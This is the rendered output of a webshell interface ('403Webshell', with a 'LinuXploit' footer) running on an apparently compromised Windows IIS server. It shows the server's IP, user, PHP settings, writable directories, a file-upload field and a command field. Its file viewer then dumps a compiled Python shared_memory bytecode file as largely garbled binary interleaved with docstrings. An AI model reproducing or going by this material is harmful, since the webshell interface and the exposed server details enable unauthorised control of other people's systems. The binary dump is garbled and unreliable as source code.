403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/multiprocessing/__pycache__/shared_memory.cpython-315.opt-1.pyc
R
>lqjLc�"�QsQQ,s]QHGs]PHs]PHs]PHs]PHs]PH s]PH$s	\OQ6Xc]PH,sP
sL]PH4s
P	s]QH8Gs\O \O"*s]s\%cQsLQsQsQ	Q2sQ
sQQ2sP!)z�Provides shared memory for direct access across processes.

The API of this package is currently provisional. Refer to the
documentation for details.
�SharedMemory�
ShareableList)�partial�nt)�resource_trackerz/psm_�wnsm_c��[[[2*
]*o[[OU2*oU!)z6Create a random filename for the shared memory object.)�_SHM_SAFE_NAME_LENGTH�len�_SHM_NAME_PREFIX�secrets�	token_hex)�nbytes�names  �2C:\Python315\\Lib\multiprocessing\shared_memory.py�_make_filenamer(s3��$�c�*:�&;�;��
A�F��g�/�/��7�7�D��K�c��`�\sQs]2snQsPsPsPsPs\	OsQs\
%cP	LP
sP	sQQP	-QkksQsQsQs\Q2s\Q	2s\Q
2sQsQsQ
sUsP!)ra�Creates a new shared memory block or attaches to an existing
shared memory block.

Every shared memory block is assigned a unique name.  This enables
one process to create a shared memory block with a particular name
so that a different process can attach to that same shared memory
block using that same name.

As a resource for sharing data across processes, shared memory blocks
may outlive the original process that created them.  When one process
no longer needs access to a shared memory block that might still be
needed by other processes, the close() method should be called.
When a shared memory block is no longer needed by any process, the
unlink() method should be called to ensure proper cleanup.��trackc�	�U]6�f[Q2gU%c3[[O*UmU]6Xc[Q2gUe3UO[O
*%f[Q2gV@m[%CcXUeF[2o[OUUOUOQ5UmVmLUUO%c
QU*LSo[OUUOUOQ5UmVmU%c*U%c"[O UOU2[O"UO2oUO$o[&O&UOU2UmUO%c"[.O0UOQ2CL�U%Cc:Ue[2LSo[2O4[2O6[2O8[2O:U] *	Q*UQ*U2o[2O<2oU[2O>6XcjUdM[[@OB[OD[@OB2U[2O>2g[2OFU2J�[&O&PV6Q5Um[2OFU2V`mL�Vm[2OH[2OJP
U2o[2OLU[2OJ]]]2o	[2OFU2[2ONU	2o[2OPU	2[&O&PV1Q5UmV0m)[UUO(2Um+P![cCJ{h9h[*cSO-2gh9h[2OFS2h9h[2OFS2h9h[2OPS	2h9h)	�z!'size' must be a positive integerz4'size' must be a positive number different from zeroz&'name' can only be None if create=True)�mode�/�
shared_memoryl��)�tagname),�
ValueError�_O_CREX�os�O_RDWR�_flags�O_EXCL�_track�
_USE_POSIXr�_posixshmem�shm_open�_mode�_fd�FileExistsError�_name�_prepend_leading_slash�	ftruncate�fstat�st_size�mmap�_mmap�OSError�unlinkr�register�_winapi�CreateFileMapping�INVALID_HANDLE_VALUE�NULL�PAGE_READWRITE�GetLastError�ERROR_ALREADY_EXISTS�errno�EEXIST�strerror�CloseHandle�OpenFileMapping�
FILE_MAP_READ�
MapViewOfFile�VirtualQuerySize�UnmapViewOfFile�_size�
memoryview�_buf)
�selfr�create�sizer�stats�	temp_name�h_map�last_error_code�p_bufs
&&&&$     r�__init__�SharedMemory.__init__LsZ���q�y��@�A�A��!�B�I�I�-�D�K��q�y� �!W�X�X��<����b�i�i� 7� 7��E�F�F����:��|��)�+�D�!�#.�#7�#7� � �K�K�!%���$���"&�J��%)�%@�%@�%@�s�T�z�d��&�/�/���K�K�������
"�
�
��d��L�L����4�0�������*���}�}��!�Y�Y�t�x�x��6��
��{�{�{� �)�)�$�*�*�o�F���v��48�L�� 0�d�I�$�5�5��4�4�����.�.����z�1��z�)�!�
�E�3�*1�*>�*>�*@��*�g�.J�.J�J�#�/�&5�$)�L�L�$&�K�K����$=�$(�$+�$@�$@�	'"�!"�!)� �+�+�E�2�&*�Y�Y�r�4�%K��
��+�+�E�2�!*�J��"�
� �/�/��)�)�����
	/�#�1�1���-�-�����E��'�'��.�3�"�3�3�E�:�D��+�+�E�2�!�Y�Y�r�4�>��
��
��t�z�z�*��	��k+�!� �!��$�
����
��
��J �+�+�E�2��,�'�'��.���+�+�E�2�sn�'2P�6P�>P�A3P�#)P:�
P:�AP:�6P:�(Q�Q0�	P�P�P�	P7�$P7�:Q�Q-�0Rc�N�UO2P![cP!h9h�N)�closer/�rEs&r�__del__�SharedMemory.__del__�s"��	��J�J�L���	��	�s��	$�$�$c�N�UOUOP
UO11!)F)�	__class__rrGrRs&r�
__reduce__�SharedMemory.__reduce__�s)���N�N��	�	���	�	�
�
�	
rc�l�UOOQUO8QUOQ0!)�(z, size=�))rV�__name__rrGrRs&r�__repr__�SharedMemory.__repr__�s.���.�.�)�)�*�!�D�I�I�=���	�	�{�!�L�Lrc��UO!)z4A memoryview of contents of the shared memory block.)rDrRs&r�buf�SharedMemory.buf�s���y�y�rc���UOo[%cGUO%c5UOOQ2%cUOQ*oU!)z4Unique name that identifies the shared memory block.r:�NN)r(r"r)�
startswith)rE�
reported_names& rr�SharedMemory.name�sE���
�
�
��:�$�5�5�5��z�z�$�$�S�)�)� $�
�
�2��
��rc��UO!)zSize in bytes.)rBrRs&rrG�SharedMemory.size�s���z�z�rc�T�UOd"UOO2PUmUOd"UOO2PUm[%c=UO
]6�c*[OUO
2PUmP!P!P!)zcCloses access to the shared memory from this instance but does
not destroy the shared memory block.)rD�releaser.rQr"r&rrRs&rrQ�SharedMemory.close�ss���9�9� ��I�I�����D�I��:�:�!��J�J�����D�J��:�$�(�(�a�-��H�H�T�X�X���D�H�(�:rc��[%clUO%cX[OUO2UO%c$[
OUOQ2P!P!P!P!)a�Requests that the underlying shared memory block be destroyed.

Unlink should be called once (and only once) across all handles
which have access to the shared memory block, even if these
handles belong to different processes. Closing and unlinking may
happen in any order, but trying to access data inside a shared
memory block after unlinking may result in memory errors,
depending on platform.

This method has no effect on Windows, where the only way to
delete a shared memory block is to close all handles.r)r"r(r#�
shm_unlinkr!r�
unregisterrRs&rr0�SharedMemory.unlink�sL���:�$�*�*�*��"�"�4�:�:�.��{�{�{� �+�+�D�J�J��H��%�:r)rDr&rr.r(rBr!)NFr)r\�
__module__�__qualname__�__firstlineno__�__doc__r(r&r.rDrrrr%r"r)r!rMrSrWr]�propertyr`rrGrQr0�__static_attributes__�__classdictcell__��
__classdict__s@rrr2s�����
B� 
�E�
�C��E��D�
�Y�Y�F��E�%/�T�U��
�F�m+��m+�^�
�M��������������I�Ir�utf8c�h`�\sQsQsnQs\Q\Q\Q\Q\	QPOQ-s]s]Q]Q	]Q
]Q-s
\Q2sQ!Q
P-QkksQsQsQsQsQsQsQsQs\Q2s\Q2s\Q2s\Q2s\Q2s\Q2s\Q2s Qs!Qs"\#\$OJ2s&Q s'Us(P!)"r�aqPattern for a mutable list-like object shareable via a shared
memory block.  It differs from the built-in list type in that these
lists can not change their overall length (i.e. no append, insert,
etc.)

Because values are packed into a memoryview as bytes, the struct
packing format for any storable value must require no more than 8
characters to describe its format.�q�dzxxxxxxx?z%dszxxxxxx?xc��U!rP���values&r�<lambda>�ShareableList.<lambda> s��rc�L�UOQ2O[2!��)�rstrip�decode�	_encodingr�s&rr�r�!s�����g�.�5�5�i�@rc�&�UOQ2!r�)r�r�s&rr�r�"s
�����g�.rc��P!rPr)�_values&rr�r�#s��$rc��[U[[PO12%f]![U[2%c]![U[2%c]!]!)z�Used in concert with _back_transforms_mapping to convert values
into the appropriate Python objects when retrieving them from
the list as well as when storing them.)�
isinstance�str�bytesrVr�s&r�_extract_recreation_code�&ShareableList._extract_recreation_code&sB��
�%�#�u�d�n�n�!=�>�>��
��s�
#�
#��
��u�
%�
%��rrc	��`	�UdUCd�S9%fQoSTt,tFD�o[U[[12%fUO[	U2*LUUO[	U2*UO
[
U2UO
*]**1*MJ�	oo[
U2Um]o],UmSFDLoXVP*Q6wc
UO
L
[UPP2*
oUOOU2JN	STt,tFDp0OU2MJ	oo[OQUO*POU2*UO *UO"*2o[%UP	UQ5UmL[%U2UmUCd>[(n	[O*QUO*UO&O,]UO,UON3[O*POW2UO&O,UO.,U	1QkU2N3[O*UO UO&O,UO0,U	1QkU2N3[O*UO"UO&O,UO2,WN3P![
U2Um[5[O6UOUO&O,]22UmP!ttohttoh)N�sr|)rFrGc3�:�SF �D/o[U[2%cUOR2LSw�	J1	P!3hrP)r�r��encode��.0�v�_encs& �r�	<genexpr>�)ShareableList.__init__.<locals>.<genexpr>ds)��x���x�!�J�q�#�$6�$6�!�(�(�4�.�A�=�x�s�?�?c3�P:�SF �DpOR2w�	J	P!3hrP)r�r�s& �rr�r�js��(���(�Q�(�(�4�.�.�(�s�&r)r�r�r��_types_mapping�type�
_alignmentr	�	_list_len�_allocated_offsets�int�appendr��struct�calcsize�_format_size_metainfo�join�_format_packing_metainfo�_format_back_transform_codesr�shmr��	pack_intor`�_offset_data_start�_offset_packing_formats�_offset_back_transform_codes�list�unpack_from)
rE�sequencer�item�_formats�offset�fmt�_recreation_codes�requested_sizer�s
&&$      @rrM�ShareableList.__init__4s�����<�8�/��~�~�2�H�%�
�%�D�	&�d�S�%�L�9�9��#�#�D��J�/��,�,�T�$�Z�8����3�t�9����+G�!�+K�L�<���
%�

��!��]�D�N��F�()�c�D�#�����W��^�$�/�/��S��"�X��N���'�'�.�.�v�6� �AI�!�@H��-�-�d�3��
�!�$�_�_��d�0�0�0�����!�"��-�-�.��1�1�2��N�$�D��N�K�D�H�#�D�)�D�H����D�����d�0�0�0����������	
�
�)�)�
�
�������!�������'�'�
�Q�x�P�	
�
����-�-�������,�,�
�4�(�3�	
�
����1�1�������1�1�
�$�	
�!��Y�D�N�&*��"�"��.�.��H�H�L�L���'�D�#��}��$!s�"M�A6M�&M#c�x�U]6�cSLVO*oVO6�fUO]6c[Q2g[OQUOO
UOU]**2]*oUOQ2oUO[2oU!)z>Gets the packing format for a single value stored in the list.� Requested position out of range.�8sr�)
r��
IndexErrorr�r�r�r`r�r�r�r�)rE�positionr�r��
fmt_as_strs&&   r�_get_packing_format�!ShareableList._get_packing_format}s���'�1�}�8�(�^�^�2K�����&�D�N�N�Q�,>��?�@�@������H�H�L�L��(�(�8�a�<�7�
��	

��
�h�h�w����Z�Z�	�*�
��rc��VO6�fUO]6c[Q2g[OQUOO
UOU*2]*oUOU*oU!)z9Gets the back transformation function for a single value.r��b)r�r�r�r�r�r`r��_back_transforms_mapping)rEr��transform_code�transform_functions&&  r�_get_back_transform�!ShareableList._get_back_transform�st��
���&�D�N�N�Q�,>��?�@�@��+�+���H�H�L�L��-�-��8�
��	
��
"�:�:�>�J��!�!rc��VO6�fUO]6c[Q2g[OQUOO
UOU]**UO[22UOU2o[OQUOO
UOU*U2P!)znSets the packing format and back transformation code for a
single value in the list at the specified position.r�r�r�)r�r�r�r�r�r`r�r�r�r�r�)rEr�r�r�r�s&&&& r�!_set_packing_format_and_transform�/ShareableList._set_packing_format_and_transform�s���
���&�D�N�N�Q�,>��?�@�@������H�H�L�L��(�(�8�a�<�7����i�(�		
��6�6�u�=�������H�H�L�L��-�-��8��		
rc�h�U]6�cSLVO*oUOUOU**o[OUOU2UOOU2voUOU2oUU2oU![c
[Q2gh9h)rzindex out of range)
r�r�r�r�r�r�r�r`r�r�)rEr�r�r��back_transforms&&   r�__getitem__�ShareableList.__getitem__�s���'�1�}�8�(�^�^�2K��	3��,�,�t�/F�/F�x�/P�P�F��%�%��(�(��2��������D�Q��1�1�(�;���1������
�	3��1�2�2�	3�s�A!B�	B1�$
B1c��U]6�cSLVO*oUOU*oUOU*oUOU2o[U[[12%f UO[U2*oSoL�UOU]**U*
o[U[2%cUO[2LSo[U2U6�c[Q2gUP*Q6XcSoLUO[*U1*oUOUUU2[O V`O"O$VG2P![c
[	Q2gh9h)rzassignment index out of rangez(bytes/str item exceeds available storager�)r�r�r�r�r�r�r�r�r�r�r�r�r	rr�r�r�r�r`)	rEr�r��item_offsetr��current_format�
new_format�
encoded_value�allocated_lengths	&&&      r�__setitem__�ShareableList.__setitem__�sO��'�1�}�8�(�^�^�2K��	>��1�1�(�;�K��,�,�{�:�F�!�5�5�h�?�N��%�#�u��.�.��,�,�T�%�[�9�J�!�M�#�6�6�x�!�|�D�{�R��!+�5�#� 6� 6�#�\�\�)�4�<A�
��=�!�$4�4� �!K�L�L��b�!�S�(�+�
�!�0�0��5�$�9��
�	
�.�.����	
�
	����X�X�\�\�6�I��3�	>��<�=�=�	>�s�7E)�)	F�3
Fc�^�[UOUOOQ5Q1!))rr)rrVr�rrRs&rrW�ShareableList.__reduce__�s ���t�~�~�D�H�H�M�M�:�B�>�>rc�j�[OQUOO]2]*!)r|)r�r�r�r`rRs&r�__len__�ShareableList.__len__�s$���!�!�#�t�x�x�|�|�Q�7��:�:rc�~�UOOQ[U2QUOO8Q0!)rZz, name=r[)rVr\r�r�rrRs&rr]�ShareableList.__repr__�s3���.�.�)�)�*�!�D��J�<�w�t�x�x�}�}�>O�q�Q�Qrc�``�POU1Qk[RO222!)z=The struct packing format used by all currently stored items.c3�R:�SF �DoROU2w�	J	P!3hrP)r�)r��irEs& �rr��'ShareableList.format.<locals>.<genexpr>�s!��1F���1F�A�D�$�$�Q�'�'�1F�s�')r��ranger�rRsfr�format�ShareableList.format�s,����w�w�
�16�t�~�~�1F�
�
�	
rc�8�QUO]**!)z>The struct packing format used for the items' storage offsets.r|�r�rRs&rr��#ShareableList._format_size_metainfo�s���d�n�n�q�(�)�)rc�*�QUO*!)z>The struct packing format used for the items' packing formats.r�r�rRs&rr��&ShareableList._format_packing_metainfo�s���d�n�n�$�$rc�*�QUO*!)z>The struct packing format used for the items' back transforms.r�r�rRs&rr��*ShareableList._format_back_transform_codes�s���T�^�^�#�#rc�8�UO]*]*!)�r�rRs&rr�� ShareableList._offset_data_starts������"�a�'�'rc�L�UOUOP**!)rc)r�r�rRs&rr��%ShareableList._offset_packing_formats	s���&�&��)@�)@��)D�D�Drc�L�UOUO]**!)�)r�r�rRs&rr��*ShareableList._offset_back_transform_codes
s���+�+�d�n�n�q�.@�@�@rc�.`�[U1QkU22!)zCL.count(value) -> integer -- return number of occurrences of value.c3�::�SF �DoRU6Hw�	J
	P!3hrPr)r��entryr�s& �rr��&ShareableList.count.<locals>.<genexpr>s��t���t�e�5�E�>�t�s�)�sum)rEr�s&fr�count�ShareableList.counts����4�t�4�4�4rc�Z�[U2FDvq#V6XfJ
Ut!	[Q2g)zhL.index(value) -> integer -- return first index of value.
Raises ValueError if the value is not present.z%ShareableList.index(x): x not in list)�	enumerater)rEr�r�r�s&&  r�index�ShareableList.indexs,�� )���O�H��~��� /��D�E�Er)r�r�r�rP))r\rprqrrrsr��float�boolr�r�rVr�r�r��staticmethodr�rMr�r�r�r�r�rWr�r]rtr�r�r�r�r�r�r�r�r��classmethod�types�GenericAlias�__class_getitem__rurvrws@rrrsX����*�&	�S�
�s��j��U�
�u����
�
�N��J�	��	�@�	�.�	��	 ������G�d�G�R� 
"�
�,�"J�B?�;�R��
��
��*��*��%��%��$��$��(��(�
�E��E��A��A�5�
F�$�E�$6�$6�7�r)rs�__all__�	functoolsrr-rr9r�rrrr2r"r#�r�O_CREATr rrr
rrr�rrrr�<module>rs����
�O�
-����	��
����7�7�d�?���J���J��
�*�*�r�y�y�
 ����������LI�LI�^
�	�]8�]8r

Youez - 2016 - github.com/yon3zu
LinuXploit